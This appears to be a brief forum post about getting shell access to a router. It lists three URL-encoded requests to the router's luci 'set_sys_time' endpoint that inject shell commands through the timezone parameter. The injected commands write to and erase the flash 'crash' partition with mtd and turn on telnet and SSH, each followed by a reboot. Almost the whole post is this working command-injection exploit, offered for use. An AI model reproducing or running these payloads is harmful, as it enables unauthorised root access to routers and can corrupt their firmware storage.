These will work and no need to use nc (But I didn't write the original.)
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20
reboot
2.http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20
reboot
3.http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
reboot
I don't know why the nc prompt transmission is complete and all the web pages return code0, but I can't crack it.